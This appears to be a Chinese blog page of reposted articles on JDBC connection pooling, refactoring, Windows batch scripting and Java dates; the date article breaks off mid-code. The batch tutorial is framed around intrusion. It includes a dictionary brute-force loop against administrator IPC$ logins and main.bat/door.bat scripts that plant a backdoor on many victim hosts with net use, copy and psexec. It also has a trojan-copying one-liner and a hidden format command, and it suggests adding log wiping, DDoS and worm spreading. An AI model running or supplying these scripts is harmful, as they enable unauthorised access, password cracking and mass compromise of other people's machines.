posts - 189,comments - 115,trackbacks - 0
数据库连接池的原理机制
转贴  (   学习 )

 1、基本概念及原理 
  由上面的分析可以看出,问题的根源就在于对数据库连接资源的低效管理。我们知道, 
  对于共享资源,有一个很著名的设计模式:资源池(Resource  Pool)。该模式正是为了解决资源的频繁分配?释放所造成的问题。为解决上述问题,可以采用数据库连接池技术。数据库连接池的基本思想就是为数据库连接建立一个“缓冲池”。预先在缓冲池中放入一定数量的连接,当需要建立数据库连接时,只需从“缓冲池”中取出一个,使用完毕之后再放回去。我们可以通过设定连接池最大连接数来防止系统无尽的与数据库连接。更为重要的是我们可以通过连接池的管理机制监视数据库的连接的数量?使用情况,为系统开发?测试及性能调整提供依据。

  连接池的基本工作原理 
  2、服务器自带的连接池 
  JDBC的API中没有提供连接池的方法。一些大型的WEB应用服务器如BEA的WebLogic和IBM的WebSphere等提供了连接池的机制,但是必须有其第三方的专用类方法支持连接池的用法。 
  连接池关键问题分析 
  1、并发问题 
  为了使连接管理服务具有最大的通用性,必须考虑多线程环境,即并发问题。这个问题相对比较好解决,因为Java语言自身提供了对并发管理的支持,使用synchronized关键字即可确保线程是同步的。使用方法为直接在类方法前面加上synchronized关键字,如: 
public  synchronized  Connection  getConnection()   
  2、多数据库服务器和多用户 
  对于大型的企业级应用,常常需要同时连接不同的数据库(如连接Oracle和Sybase)。如何连接不同的数据库呢?我们采用的策略是:设计一个符合单例模式的连接池管理类,在连接池管理类的唯一实例被创建时读取一个资源文件,其中资源文件中存放着多个数据库的url地址()?用户名()?密码()等信息。如tx.url=172.21.15.123:5000/tx_it,tx.user=yang,tx.password=yang321。根据资源文件提供的信息,创建多个连接池类的实例,每一个实例都是一个特定数据库的连接池。连接池管理类实例为每个连接池实例取一个名字,通过不同的名字来管理不同的连接池。 
  对于同一个数据库有多个用户使用不同的名称和密码访问的情况,也可以通过资源文件处理,即在资源文件中设置多个具有相同url地址,但具有不同用户名和密码的数据库连接信息。 
  3、事务处理 
  我们知道,事务具有原子性,此时要求对数据库的操作符合“ALL-ALL-NOTHING”原则,即对于一组SQL语句要么全做,要么全不做。 
  在Java语言中,Connection类本身提供了对事务的支持,可以通过设置Connection的AutoCommit属性为false,然后显式的调用commit或rollback方法来实现。但要高效的进行Connection复用,就必须提供相应的事务支持机制。可采用每一个事务独占一个连接来实现,这种方法可以大大降低事务管理的复杂性。 
  4、连接池的分配与释放 
  连接池的分配与释放,对系统的性能有很大的影响。合理的分配与释放,可以提高连接的复用度,从而降低建立新连接的开销,同时还可以加快用户的访问速度。 
  对于连接的管理可使用空闲池。即把已经创建但尚未分配出去的连接按创建时间存放到一个空闲池中。每当用户请求一个连接时,系统首先检查空闲池内有没有空闲连接。如果有就把建立时间最长(通过容器的顺序存放实现)的那个连接分配给他(实际是先做连接是否有效的判断,如果可用就分配给用户,如不可用就把这个连接从空闲池删掉,重新检测空闲池是否还有连接);如果没有则检查当前所开连接池是否达到连接池所允许的最大连接数(maxConn),如果没有达到,就新建一个连接,如果已经达到,就等待一定的时间(timeout)。如果在等待的时间内有连接被释放出来就可以把这个连接分配给等待的用户,如果等待时间超过预定时间timeout,则返回空值(null)。系统对已经分配出去正在使用的连接只做计数,当使用完后再返还给空闲池。对于空闲连接的状态,可开辟专门的线程定时检测,这样会花费一定的系统开销,但可以保证较快的响应速度。也可采取不开辟专门线程,只是在分配前检测的方法。 
  5、连接池的配置与维护 
  连接池中到底应该放置多少连接,才能使系统的性能最佳?系统可采取设置最小连接数(minConn)和最大连接数(maxConn)来控制连接池中的连接。最小连接数是系统启动时连接池所创建的连接数。如果创建过多,则系统启动就慢,但创建后系统的响应速度会很快;如果创建过少,则系统启动的很快,响应起来却慢。这样,可以在开发时,设置较小的最小连接数,开发起来会快,而在系统实际使用时设置较大的,因为这样对访问客户来说速度会快些。最大连接数是连接池中允许连接的最大数目,具体设置多少,要看系统的访问量,可通过反复测试,找到最佳点。 
  如何确保连接池中的最小连接数呢?有动态和静态两种策略。动态即每隔一定时间就对连接池进行检测,如果发现连接数量小于最小连接数,则补充相应数量的新连接,以保证连接池的正常运转。静态是发现空闲连接不够时再去检查。 
   
  连接池的实现 
  1、连接池模型 
  本文讨论的连接池包括一个连接池类(DBConnectionPool)和一个连接池管理类(DBConnetionPoolManager)。连接池类是对某一数据库所有连接的“缓冲池”,主要实现以下功能:①从连接池获取或创建可用连接;②使用完毕之后,把连接返还给连接池;③在系统关闭前,断开所有连接并释放连接占用的系统资源;④还能够处理无效连接(原来登记为可用的连接,由于某种原因不再可用,如超时,通讯问题),并能够限制连接池中的连接总数不低于某个预定值和不超过某个预定值。 
  连接池管理类是连接池类的外覆类(wrapper),符合单例模式,即系统中只能有一个连接池管理类的实例。其主要用于对多个连接池对象的管理,具有以下功能:①装载并注册特定数据库的JDBC驱动程序;②根据属性文件给定的信息,创建连接池对象;③为方便管理多个连接池对象,为每一个连接池对象取一个名字,实现连接池名字与其实例之间的映射;④跟踪客户使用连接情况,以便需要是关闭连接释放资源。连接池管理类的引入主要是为了方便对多个连接池的使用和管理,如系统需要连接不同的数据库,或连接相同的数据库但由于安全性问题,需要不同的用户使用不同的名称和密码。 
  2、连接池实现 
  下面给出连接池类和连接池管理类的主要属性及所要实现的基本接口: 
public  class  DBConnectionPool  implements  TimerListener{ 
private  int  checkedOut;//已被分配出去的连接数 
private  ArrayList  freeConnections  =  new  ArrayList();//容器,空闲池,根据//创建时间顺序存放已创建但尚未分配出去的连接 
private  int  minConn;//连接池里连接的最小数量 
private  int  maxConn;//连接池里允许存在的最大连接数 
private  String  name;//为这个连接池取个名字,方便管理 
private  String  password;//连接数据库时需要的密码 
private  String  url;//所要创建连接的数据库的地址 
private  String  user;//连接数据库时需要的用户名 
public  Timer  timer;//定时器 
public  DBConnectionPool(String  name,  String  URL,  String  user,  String   
password,  int  maxConn)//公开的构造函数 
public  synchronized  void  freeConnection(Connection  con)  //使用完毕之后,//把连接返还给空闲池 
public  synchronized  Connection  getConnection(long  timeout)//得到一个连接,//timeout是等待时间 
public  synchronized  void  release()//断开所有连接,释放占用的系统资源 
private  Connection  newConnection()//新建一个数据库连接 
public  synchronized  void  TimerEvent()  //定时器事件处理函数 

public  class  DBConnectionManager  { 
static  private  DBConnectionManager  instance;//连接池管理类的唯一实例 
static  private  int  clients;//客户数量 
private  ArrayList  drivers  =  new  ArrayList();//容器,存放数据库驱动程序 
private  HashMap  pools  =  new  HashMap  ();//以name/value的形式存取连接池//对象的名字及连接池对象 
static  synchronized  public  DBConnectionManager  getInstance()//如果唯一的//实例instance已经创建,直接返回这个实例;否则,调用私有构造函数,创//建连接池管理类的唯一实例   
private  DBConnectionManager()//私有构造函数,在其中调用初始化函数init() 
public  void  freeConnection(String  name,  Connection  con)//  释放一个连接,//name是一个连接池对象的名字 
public  Connection  getConnection(String  name)//从名字为name的连接池对象//中得到一个连接 
public  Connection  getConnection(String  name,  long  time)//从名字为name 
//的连接池对象中取得一个连接,time是等待时间 
public  synchronized  void  release()//释放所有资源 
private  void  createPools(Properties  props)//根据属性文件提供的信息,创建//一个或多个连接池 
private  void  init()//初始化连接池管理类的唯一实例,由私有构造函数调用 
private  void  loadDrivers(Properties  props)//装载数据库驱动程序 
}     
  3、连接池使用 
  上面所实现的连接池在程序开发时如何应用到系统中呢?下面以Servlet为例说明连接池的使用。 
  Servlet的生命周期是:在开始建立servlet时,调用其初始化(init)方法。之后每个用户请求都导致一个调用前面建立的实例的service方法的线程。最后,当服务器决定卸载一个servlet时,它首先调用该servlet的  destroy方法。 
  根据servlet的特点,我们可以在初始化函数中生成连接池管理类的唯一实例(其中包括创建一个或多个连接池)。如: 
public  void  init()  throws  ServletException 

 connMgr  =  DBConnectionManager.getInstance();   
}     
  然后就可以在service方法中通过连接池名称使用连接池,执行数据库操作。最后在destroy方法中释放占用的系统资源,如:   
public  void  destroy()  {   
 connMgr.release();  super.destroy();   
}   
  结束语 
  在使用JDBC进行与数据库有关的应用开发中,数据库连接的管理是一个难点。很多时候,连接的混乱管理所造成的系统资源开销过大成为制约大型企业级应用效率的瓶颈。对于众多用户访问的Web应用,采用数据库连接技术的系统在效率和稳定性上比采用传统的其他方式的系统要好很多。本文阐述了使用JDBC访问数据库的技术?讨论了基于连接池技术的数据库连接管理的关键问题并给出了一个实现模型。文章所给出的是连接池管理程序的一种基本模式,为提高系统的整体性能,在此基础上还可以进行很多有意义的扩展。

改善代码质量--重构
转贴   

    首先必须意识到我们需要重构!
    1.概念:
    重构(Refactoring)就是在不改变软件现有功能的基础上,通过调整程序代码改善软件的质量、性能,使其程序的设计模式和架构更趋合理,提高软件的扩展性和维护性。

    2.为什么要重构?
  因为通过重构可以达到以下的目标:
  ?持续偏纠和改进软件设计
  重构和设计是相辅相成的,它和设计彼此互补。有了重构,你仍然必须做预先的设计,但是不必是最优的设计,只需要一个合理的解决方案就够了,如果没有重构、程序设计会逐渐腐败变质,愈来愈像断线的风筝,脱缰的野马无法控制。重构其实就是整理代码,让所有带着发散倾向的代码回归本位。
  ?使代码更易为人所理解
  Martin Flower在《重构》中有一句经典的话:"任何一个傻瓜都能写出计算机可以理解的程序,只有写出人类容易理解的程序才是优秀的程序员。"对此,笔者感触很深,有些程序员总是能够快速编写出可运行的代码,但代码中晦涩的命名使人晕眩得需要紧握坐椅扶手,试想一个新兵到来接手这样的代码他会不会想当逃兵呢?
  软件的生命周期往往需要多批程序员来维护,我们往往忽略了这些后来人。为了使代码容易被他人理解,需要在实现软件功能时做许多额外的事件,如清晰的排版布局,简明扼要的注释,其中命名也是一个重要的方面。一个很好的办法就是采用暗喻命名,即以对象实现的功能的依据,用形象化或拟人化的手法进行命名,一个很好的态度就是将每个代码元素像新生儿一样命名,也许笔者有点命名偏执狂的倾向,如能荣此雅号,将深以此为幸。
  对于那些让人充满迷茫感甚至误导性的命名,需要果决地、大刀阔斧地整容,永远不要手下留情!
  ?帮助发现隐藏的代码缺陷
  孔子说过:温故而知新。重构代码时逼迫你加深理解原先所写的代码。笔者常有写下程序后,却发生对自己的程序逻辑不甚理解的情景,曾为此惊悚过,后来发现这种症状居然是许多程序员常患的"感冒"。当你也发生这样的情形时,通过重构代码可以加深对原设计的理解,发现其中的问题和隐患,构建出更好的代码。
  ?从长远来看,有助于提高编程效率
  当你发现解决一个问题变得异常复杂时,往往不是问题本身造成的,而是你用错了方法,拙劣的设计往往导致臃肿的编码。
  改善设计、提高可读性、减少缺陷都是为了稳住阵脚。良好的设计是成功的一半,停下来通过重构改进设计,或许会在当前减缓速度,但它带来的后发优势却是不可低估的。

    3.那么我们究竟如何去重构?
    这个问题是个很难全面去把握的问题,为什么这样说呢?可以大致从三个方面来理解
    3.1重构与设计
    重构可以从很大程度上去扶助设计,通常情况下我们的设计不是能贯穿我们软件开发的全过程的,在这个过程中,我们的需求变更的可能性非常大,当需求变了,设计也得变,但是我们已有的实现怎么办?全部废除?显然不能!这时候就要依靠重构来解决这种矛盾。
   3.2重构与性能
   关于重构,有一个常被提出的问题:它对程序的性能将造成怎样的影响?为了让软件易于理解,你常会作出一些使程序运行变慢的修改。这是个重要的问题。我并不赞成为了提高设计的纯洁性或把希望寄托于更快的硬件身上,而忽略了程序性能。已经有很多软件因为速度太慢而被用户拒绝,日益提高的机器速度亦只不过略微放宽了速度方面的限制而已。但是,换个角度说,虽然重构必然会使软件运行更慢,但它也使软件的性能优化更易进行。关键在于自己的理解,当你拥有了重构的经验,你也就有能力在重构的基础上来改进程序的性能。
   3.3重构与模式
   那么真正要实现重构时,我们有哪些具体的方法呢?可以这样说,重构的准则由很多条,见《重构》这本书。但它不是最终的标准,因为你要是完全按照它的标准来执行,那你也就等于不会重构,重构是一种武器,而真正运用武器的高手是没有武器胜有武器。只有根据实际的需要,凭借一定的思想,才能实现符合实际的重构,我们不能被一些固定的模式套牢了,这样你的程序会很僵化。究竟如何把握这个度,需要大家去总结。
   3.4重构与思想
   要想实现一个好的重构,不是重构本身,而是我们在写代码的时候,思想当中时刻有它的位置存在!非常重要!如果你本身就没想着要去重构,那么就是有再好的模式供你调用又怎么样?就是有了好的模式,你不能根据实际的需要去融会贯通,那你做出来的重构有意义么?大家共同思考一下吧。


批处理教程
转贴   

批处理教程
                                          
最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了,古语云:“授人以鱼,不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片<<简明批处理教程>>给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们.

批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

一.简单批处理内部命令简介

1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。) 
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
运行 Pause 命令时,将显示下面的消息: 
Press any key to continue . . . 
Sample:
@echo off 
:begin 
copy a:*.* d:\back
echo Please put a new disk into driver A 
pause 
goto begin 
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName 
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下: 
@echo off 
choice /c:dme defrag,mem,end 
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem 
if errotlevel 1 goto end 

:defrag 
c:\dos\defrag 
goto end 
:mem 
mem 
goto end 
:end 
echo good bye

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

9.If 命令

if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 
1、if "参数" == "字符串"  待执行的命令 
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a: 
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名  待执行的命令 
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys 

3、if errorlevel / if not errorlevel 数字  待执行的命令 
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2  
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。

10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN (command) DO command 

或者,如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN (command) DO command 

filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析*作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 z 或
Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。

最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2:

利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。

sample3:

你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。

主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------


------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. 

No.2 
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a: 
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3 
三.如何使用组合命令(Compound Command)

1.&

Usage:第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令,而不管命令是否执行成功

Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 
.
2002-05-14 23:51 
..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage:第一条命令 && 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 
.
2002-05-14 23:55 
..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做备份的时候可能会用到这种命令会比较简单,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)

3.||

Usage:第一条命令 || 第二条命令 [|| 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

Sample:
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

组合命令使用的例子:
sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

Java中一些关于日期、日期格式、日期的解析和日期的计算
 转贴  

Java 语言的Calendar(日历),Date(日期), 和DateFormat(日期格式)组成了Java标准的一个基本但是非常重要的部分. 日期是商业逻辑计算一个关键的部分. 所有的开发者都应该能够计算未来的日期, 定制日期的显示格式, 并将文本数据解析成日期对象. 我们写了两篇文章, 这是第一篇, 我们将大概的学习日期, 日期格式, 日期的解析和日期的计算. 

我们将讨论下面的类: 

1、具体类(和抽象类相对)java.util.Date 
2、抽象类java.text.DateFormat 和它的一个具体子类,java.text.SimpleDateFormat 
3、抽象类java.util.Calendar 和它的一个具体子类,java.util.GregorianCalendar 

具体类可以被实例化, 但是抽象类却不能. 你首先必须实现抽象类的一个具体子类. 

Date 类从Java 开发包(JDK) 1.0 就开始进化, 当时它只包含了几个取得或者设置一个日期数据的各个部分的方法, 比如说月, 日, 和年. 这些方法现在遭到了批评并且已经被转移到了Calendar类里去了, 我们将在本文中进一步讨论它. 这种改进旨在更好的处理日期数据的国际化格式. 就象在JDK 1.1中一样, Date 类实际上只是一个包裹类, 它包含的是一个长整型数据, 表示的是从GMT(格林尼治标准时间)1970年, 1 月 1日00:00:00这一刻之前或者是之后经历的毫秒数. 

一、创建一个日期对象 

让我们看一个使用系统的当前日期和时间创建一个日期对象并返回一个长整数的简单例子. 这个时间通常被称为Java 虚拟机(JVM)主机环境的系统时间. 
//------------------------------------------------------
import java.util.Date; 

public class DateExample1 

public static void main(String[] args)

// Get the system date/time 
Date date = new Date(); 

System.out.println(date.getTime()); 


//------------------------------------------------------

在星期六, 2001年9月29日, 下午大约是6:50的样子, 上面的例子在系统输出设备上显示的结果是 1001803809710. 在这个例子中,值得注意的是我们使用了Date 构造函数创建一个日期对象, 这个构造函数没有接受任何参数. 而这个构造函数在内部使用了System.currentTimeMillis() 方法来从系统获取日期. 

那么, 现在我们已经知道了如何获取从1970年1月1日开始经历的毫秒数了. 我们如何才能以一种用户明白的格式来显示这个日期呢? 在这里类java.text.SimpleDateFormat 和它的抽象基类 java.text.DateFormat 就派得上用场了. 

二、日期数据的定制格式 

假如我们希望定制日期数据的格式, 比方星期六-9月-29日-2001年. 下面的例子展示了如何完成这个工作: 

//------------------------------------------------------
import java.text.SimpleDateFormat; 
import java.util.Date; 

public class DateExample2 


public static void main(String[] args) 


SimpleDateFormat bartDateFormat = 
